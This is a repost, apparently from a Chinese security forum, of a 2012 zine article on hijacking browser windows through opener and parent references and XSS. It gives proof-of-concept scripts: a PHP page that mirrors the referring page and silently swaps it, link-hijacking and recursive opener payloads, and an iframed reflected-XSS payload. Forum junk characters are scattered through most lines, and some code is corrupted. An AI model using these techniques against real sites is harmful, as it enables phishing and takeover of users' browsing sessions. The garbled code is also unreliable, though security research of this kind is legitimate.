找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2173|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==5 H- B' a% [: z* |! |

! p3 ?( h& S# O1 k1 l                       Issue 0x03, Phile #0x05 of 0x07
( h) i" v& a( d2 g$ k4 i! g* h9 s 1 j- c) o2 h0 t+ m
* |1 F( L3 x6 a& `
|=---------------------------------------------------------------------------=|8 X  [, M5 h3 H+ C8 A: G5 A
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|* M4 d9 w, X# V! h  f
|=---------------------------------------------------------------------------=|
- [0 p+ e5 n% o! C6 A2 c|=---------------------------------------------------------------------------=|; k# m  ^2 B' b! q0 `/ N
|=------------------------=[      By rayh4c     ]=---------------------------=|, ]7 n$ x8 m1 N4 ~! K$ I8 q
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|* m; @6 p8 E) `% F6 c! p9 A; d
|=---------------------------------------------------------------------------=|
( D" I* w& f9 a7 ]+ n, o! q1 O2 a
( u- k( C3 ~6 o" w! U) q1 U$ Y2 {% H( J9 \
[目录]
4 n5 Q. X, u$ X$ [& `- i3 e) ]  M* t. w  `' p' ~$ Z% ?  l
1. 前言# q0 w+ w: s! i4 x
2. 同源策略简叙+ x$ J& t- C$ e! t
3. 理解window对象的同源策略
$ {. U: p/ P& W( A4 I/ |* v4. 窗口引用功能中的同源策略漏洞
9 F4 ?0 R/ }! Z& t: C3 f/ U9 L  4.1 父窗口引用子窗口的同源策略问题
. V( q5 ]; T5 X$ D7 u/ l" T  4.2 子窗口引用父窗口的同源策略问题
+ k' L1 C5 a7 G5. 利用窗口引用漏洞劫持浏览器
  s# Z1 V; E, r4 k+ \% d3 `6. 利用XSS漏洞劫持浏览器( j5 U8 M% G& _# n  M
  6.1 正向跨窗口劫持0 d0 H( n5 j) i6 Q% Y+ ^$ M
  6.2 反向跨窗口劫持3 Y, w& d! W. r  Y6 S& C  @3 N8 S
  6.3 极度危险的跨框架窗口引用劫持' G" P- X! Q' Z* Q: P5 `
  6.4 极度危险的正反向跨窗口递归劫持
1 R+ x2 Q8 h, r/ F( _  6.5 完全控制浏览器
7 I, q8 P8 V4 }8 m( U7. 后记
6 c& q# f$ ~& i* E& M/ c8. 参考
9 W! R5 s7 t, V; C- u; b0 n; U
6 q( W8 o# W& ?3 |! W
9 q- u! x, {/ G, B7 `2 B. C一、前言& Q/ o9 y* z0 D- D

: ^6 T6 `) C# Q/ p3 w    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
) i+ Q. ^' s; T友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
) H6 I5 d& E! f* h. @  n6 k劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被, d! _, c" z9 Q. ~4 U/ K3 z
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
% E/ l# L9 K; ?5 d' V; Q: N7 t6 e  z/ P
' D/ M5 I6 l& R7 n' X
二、同源策略简叙2 d: C5 S, P4 j) N1 m" x: L

0 D0 N2 M" L! t    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
2 R/ _9 @0 o% L4 p% e从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
! V( C, M- X! ?曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
; A( T- m- T7 |. y$ A马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个6 q, L* j# x" R8 I* g* \- u
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。8 B* ~) |! I4 Q+ y
0 j2 p4 L/ \; Z8 ?

1 _4 n6 X+ {8 x& K三、理解window对象的同源策略
3 a9 \+ v7 J+ ~+ d" Q
! K# \% A/ D" Z    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
/ x3 y  a1 D5 t象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:" _9 W% \3 ?  ?3 x* d
- c, d" C, c& B+ E& A
--code-------------------------------------------------------------------------
/ g3 z& Z- I/ p- ^<script language="javascript">8 r9 \, f4 S# t! l( q8 q
for(p in window) document.write(p+"<br>");" Z2 |6 @# {0 ]
</script>" S" _' a# C% c0 y/ @! O% z% M' _
-------------------------------------------------------------------------------
1 l/ y; P0 e, [( p) a6 v% V, S, b7 x: \( }# T! X# ~  U" t' Q* J$ j
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方; `2 z$ M  }7 o  u
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
( v/ s% I* T+ N2 ^4 f7 l9 K9 D+ N这些属性和方法就必须遵循同源策略。
+ T4 u- [! }( R3 {2 u. J& F; a2 Z' u4 K
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
9 `+ \  h! f" ?: A( J) b么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须3 G' V( f! q, V+ C' A
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
8 }) ?( j: Z, r1 v个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
& C0 n" x1 {; P值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location4 ^3 h. Q2 z" i% G$ L" \: s2 R
属性并没有被拒绝访问。" i9 S' o' j; K7 W7 w# |) J
! _$ l! u1 L  O% `
--demo.html--------------------------------------------------------------------# T' W& M& y) z5 ]; b2 H4 c
<script language="javascript">   
" D; y+ B$ [' ]8 I$ qfunction allPrpos(obj) {      
  G) |9 a$ g1 y8 i      var props = "<table><tr><td>名称</td><td>值</td>";           
: e( q  {9 p) ~0 L: Q4 L2 S4 k      for(var p in obj){         
$ h$ m2 s2 z* j3 u            if(typeof(obj[p])=="function"){   
) ^; V. h3 ]6 S4 o                   obj[p]();   
3 [! ]. v2 r/ Q+ U- X* p" `             }else{                      4 X! e2 f1 {. t6 s1 j
                  try   + Z' v) v; ?+ g" d7 \7 g
                   {   
& M1 @# R: Z3 X4 x4 n" N/ k2 ?                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   ( S# b+ N7 P7 c! Y& M! k  ^. V
                   }   
" A3 D' J5 ?5 |                  catch (ex)   
2 [; t! ?5 \: ]/ Q, y) g4 J                   {   ! ^. q0 L8 m5 Z, U: t+ o; J
                   $ F  P) r2 |$ g) t7 |5 @$ m
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
6 @2 y: {) k' x2 u                   }   
- P, `& f* {# t# l) F                       + H) Q2 V# G) P7 N2 V; j
             }   
% Y# C/ k; v  t6 X       }   4 Z3 G8 C0 S' K: C: Q1 }: ]
   9 `2 W: d" m+ r4 T3 Y
       document.write(props+"</table>");   
9 q3 I1 S# D$ ^9 s8 R. A}   
! v; U) E- g, a) e: J6 `   1 b" V" a" ]$ j' J# D8 B
function createWin() {4 n2 R# Y5 m% o+ P# k
        newWin = window.open ("http://www.google.com");  
8 h" C5 i! f' t8 C        setTimeout(function(){allPrpos(newWin)},2000);
3 e1 J( u: I" T1 r4 }" T} , `* }% b& Q+ i

( T0 w: ^9 l6 z</script> # i' A/ G: v8 s! N: h

7 @6 F+ T0 ^2 `% q  }' g<button onclick='createWin()'>创建一个非同源子窗口测试</button>( }! C* m/ ^8 F' m0 T
-------------------------------------------------------------------------------6 r3 V0 ?* Y, S# a8 j) O
. {3 ^" A# b& J
% T8 @' R  ]! j. F7 f6 Y
四、窗口引用功能中的同源策略漏洞  S4 o* L/ o6 m
" _# f; H. B# V8 M8 K$ w
4.1 父窗口引用子窗口的同源策略问题$ P/ o" w$ a0 Q- i4 P0 \4 R; e
1 ~* d( s; P, i. j
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复," l5 B9 @$ e. |! H6 j; t
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道- z; n( ?. w' G; k
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
& u, Z9 ^0 e' ?5 O/ l) R$ A行测试,会发现父窗口可以控制非同源子窗口location属性值。7 l4 t, Z/ @2 l& \6 @
9 [* z& R. |1 ]4 r) N2 M' s: j1 m
--vul1.html--------------------------------------------------------------------
! v# a' N% o6 C" e4 Z) d<script language="javascript">   _* ?1 t* C8 ?" |
function createWin() {  
8 f0 |. Z( E+ a. O0 V        newWin = window.open ("http://www.google.com");  ) A) I+ ~- S, \. ~! @2 V
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
3 j7 D. V/ C6 W' d$ D} " ?7 q0 K' L& |. U- w& u
</script>
! B& G1 c, n  J3 h. C+ t$ e- m4 L( e+ I1 n4 e' f- ?
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
" L( w+ L# V" @-------------------------------------------------------------------------------
: D8 W1 w5 r# N, i- U( @; P& K$ Y. A7 V1 f) M& J/ [8 V' n
5 k. M- H9 I: K: ?& i8 s" M5 w& N
4.2 子窗口引用父窗口的同源策略问题
2 H9 P7 N5 I+ b" e- `" I9 u) z
2 E1 ?/ o& w  K    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
/ c4 Y; v' j& E3 Y2 f0 U. d用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们1 U* W& G# O$ f
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定( J- j. o( ~' n$ c) B
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
4 U+ [; z# g& ~+ ]9 {1 h6 l" l9 w# Z, o: P
--code-------------------------------------------------------------------------/ q4 l2 U6 l2 Q

5 t" @, ~; U: j* f) \! t, yjavascript:window.opener.location = "http://www.80sec.com";void(0);
; Y& I2 ?; _& V: U
6 W- e: Z* L% Q" ~) C  N-------------------------------------------------------------------------------
' W6 b4 s8 k; k1 D$ f' E  _/ H% P, H0 v7 ~- x* h, F
6 t7 S0 ^5 P. i7 r$ B* N
五、利用窗口引用漏洞劫持浏览器" f9 h0 {* N) x& ]& M5 K9 d1 K
1 x7 z# J. w  C: R7 |. B
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子1 [, W! r9 ]% o6 J1 t' B3 L
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那6 Q% s/ E1 |/ T' s; `" t2 M4 X
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
: N% w; O9 D; x( K! @, J, Y' \6 Y- v. y, _( s
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
- F& ]2 D8 u. u$ J( g5 Y生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
' W( K: \. @+ V: K) B/ T' r者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
1 ]  B& ^/ N* r% c. d$ H8 g. T后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
: |/ i6 K; k8 M' p% q( |3 n会产生什么可怕的后果。
- e$ b% f7 H; l8 a. x6 y
+ |! M+ @& k4 W    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我! H+ `1 f+ w, l2 x5 q  r
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
+ }) ]2 X8 O9 G这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
0 G% d/ @6 ~, r5 P0 h& f0 F# H( k候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
# P6 L8 x  `1 N$ E: n( w以做更多的事情,所有的一切仅仅是因为点击了一个链接。
; s$ ?+ T! c8 W# F/ A* k# X. j' T+ ]4 L8 {3 V0 `
--hjk_ref.php------------------------------------------------------------------
, ?0 [0 F- L7 f" u<?php
% e5 y( ]: O& X, D9 D3 Hif (array_key_exists("HTTP_REFERER", $_SERVER)) {& B0 U8 |+ t4 ~; F: _
$Url_Mirror = $_SERVER["HTTP_REFERER"];
$ |- e& }  f3 J" a' Z/ ]} . q$ p, d1 \4 L0 T5 T
if(isset ($_GET['ref'])) {' M) M6 E: K/ \4 R
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';$ m3 b2 F- B- _: o  _* D
}
: a; y* U+ k! i' g+ l. b?>
3 C9 R% d- S" _# r  J* ^' u3 ?5 p$ [8 X* g2 X* U0 _9 k
<script language="javascript">
4 V" V' T2 O) V' ~7 }: CsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
3 \% d5 G3 w# o+ ?% ?* t7 b</script>
7 t8 o; b/ G8 H# b$ o-------------------------------------------------------------------------------
- r; l7 G- R0 _$ ~9 L: }2 q
( x: f& i8 H- S' y0 N    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
% h- ~3 y; u5 |9 F+ Y4 }- \% Y; m/ x# r8 p* \3 z  k" a: |+ N
9 H( v: k( a% w1 L( f
六、利用XSS漏洞劫持浏览器
4 g% y$ U8 H' |7 N- Z: k  J4 \0 ^6 x5 w
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
4 h" R. n) V0 _' D持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后" H, y; O! {+ q/ @2 y0 J
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
( O4 D/ }6 A# S( G& a0 U讨论跨站师的终极技巧:& N* J# ^- X' r" \- X5 M' J( |4 U

, G( Q. c3 D$ r+ ]8 P
7 E, m8 L) ~7 g! r+ S6.1 正向跨窗口劫持, Y1 _, ^" M$ J, ~
, |% t% y" J! F" S' P
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛; y& L, [' @  Q8 ]+ ?( E
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链* \+ N: v6 E6 D7 V& ^3 U
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
. x5 f0 n2 q6 H+ O框脚本。
3 U: J' H- V4 s. s! F) Q/ k2 P/ s$ K3 q5 C2 y
--hijack_open.js---------------------------------------------------------------
. ~1 |. `) [& ?" O1 u  X+ G
  e; ]' H$ q* K2 K& cjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
* U$ g- r1 N0 n9 D( z9 H& m, Y. \  b* u- B; O  y3 V. z# a& r, C
-------------------------------------------------------------------------------3 I6 }9 A9 C1 C9 g2 O- O2 O* w; `3 \! [" K

5 J( C  k9 I5 E' u# j
% `, x$ T& z, ?' }8 Y6.2 反向跨窗口劫持; |  _+ A% r  E1 N5 C

$ T  [% k, T3 S/ r! d! N7 `    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代( ^- T  F; [5 I4 T
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话% h. S. r% [; e8 T
框脚本。( d! D; W( Y# F
1 K4 }* B" B" T5 i  n6 g3 v
--hijack_opener.js-------------------------------------------------------------' h! x3 _9 J, b1 u6 ~8 W; T

" v8 x) ^; w0 [) p; ~0 Ujavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
& a. ~9 @0 e2 I1 o2 i# g
! ~7 U* G, }* o) E2 {-------------------------------------------------------------------------------# _0 }7 |7 f+ |' @
) a( T) `: Z- N) r% ^
( f$ x9 u  s  V+ {% F7 O
6.3 极度危险的跨框架窗口引用劫持
" ]9 }" h+ w  R& B  X3 {$ ?0 Q+ ~. N, k" B& s' n5 o
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞! A* Y% a5 R' X' d! L, @
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
+ w/ O& A; p) g6 A% k8 {适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个: s* D$ R5 q" y% d9 Z3 {
非持久型的XSS,如下:; a, x# h' X% R% G! E* _, `
4 @' t1 }% p6 `5 @. |7 c7 O6 s! z
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>8 k, O8 y* R) Z" E

0 q# Q- b8 q% |6 g    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口) k5 {2 [9 }( I# y- L9 \+ D+ P6 {
注入脚本。
8 C  U" }  E5 o5 k4 N
& ?  _$ _$ A: \2 E--hijack_frame_opener.js-------------------------------------------------------
8 \6 l$ M: R; X( d, l4 _<script>( A0 r: I+ T8 T' f0 B
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
7 y# n& T8 k: u1 Q# i! z7 Z& {</script>
. H' G& b! V6 ~5 X-------------------------------------------------------------------------------9 Z1 V  ]; d* Z. s* E4 W

$ G# p7 a6 r7 S+ G5 E1 Y; t) E1 j4 d1 o# @  q3 H7 \- _4 P& a
6.4 极度危险的正反向跨窗口递归劫持
8 L' I3 |1 k. Y3 I% s7 P  c4 u3 ]5 l6 j; F! k  [7 D
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window& V0 ]6 g, [( c* I% B' t+ c( I
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过" c6 D4 Y# F/ ]0 ]+ r: U
异常处理规避之间跨域页面的访问异常,代码如下:9 y  _4 J# {! M
4 v  E( L- p6 q) r8 g
--code-------------------------------------------------------------------------7 _( p+ @7 h7 H2 T, h

) i, I9 r( q5 M" [# m8 a& @javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);6 V7 ~4 t  a+ f

/ J8 |7 Q  H, \9 q2 R+ W: t( B-------------------------------------------------------------------------------
' J5 M3 V. J0 x5 V6 {( y
5 {3 ^2 q9 A& j6 W1 w! J    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可& ~+ Z# m/ d/ Y9 R$ m' b
以劫持B域之前的A域页面,从而实现“隔空打击”。
) n# U' C( H7 P) h
" H. e) @% o5 _/ N$ N: ]% J    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面9 z8 ]) K1 `1 Y: d' T8 N; ]$ J. q
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
! M  R0 N/ O. {  ]* I8 Z9 }( g  z0 c; e$ A0 v" m( E$ @9 B5 a3 H
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。, ^# d3 E' q6 K2 ?* R
; d! V. {' h; c
+ X% t5 G5 I, W* k
6.5 完全控制浏览器' f  C6 D' |, C# x; [  H

! v' N' R% W: P: D* O/ C* X    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则1 V9 V( E8 R/ n* q5 `% q7 G* t
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS6 q2 j4 f; b4 {% T& M2 _
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失; L. {' j% Q3 M& j
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再$ j6 V  |* M% M' r9 Z: F$ o' j
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站+ R/ x! i7 M, {* r/ r$ c
师的终极目标 - 完全控制浏览器。# \+ Z% }* }* G6 F9 o4 F
% B1 _9 {; m' Y6 ~* o4 p2 e/ r
  X* g4 ~3 X5 o2 f. m8 r0 r
七、后记+ _, K, ?, I1 ~/ u" ^% p

: U# k! K+ Y4 Z1 d* z    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
2 ^, r' \* e3 t与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
0 `9 r2 z/ ?, w& B, W9 j4 O过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
0 I" n! [3 t/ T2 \' Z0 Q& ]
$ R2 F7 x  ^: d. R5 k/ x) n" h; r3 ^
0 f5 [% |( Y+ [& i' j& y! \" B八、参考
3 L5 \" h5 ?: y  U3 `
' E  x9 I8 A6 m( H1. http://en.wikipedia.org/wiki/Same_origin_policy+ [; p9 z1 M  \; D, s3 h
2. http://code.google.com/p/browser ... licy_for_DOM_access
( h; W7 Q' B( Y$ e1 T3. http://www.w3.org/TR/Window/$ \* T& q" g# H
4. http://www.80sec.com/release/browser-hijacking.txt
4 G6 l8 J' K7 [6 C3 E$ S3 K9 j4 X5. http://www.80sec.com/all-browser-security-alert.html
2 F& S3 u9 V+ M+ f% D1 j6. http://www.80sec.com/ms08-058-attacks-google.html. h" L" x, J  z" g$ s

8 }. T) @" A) y5 i-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表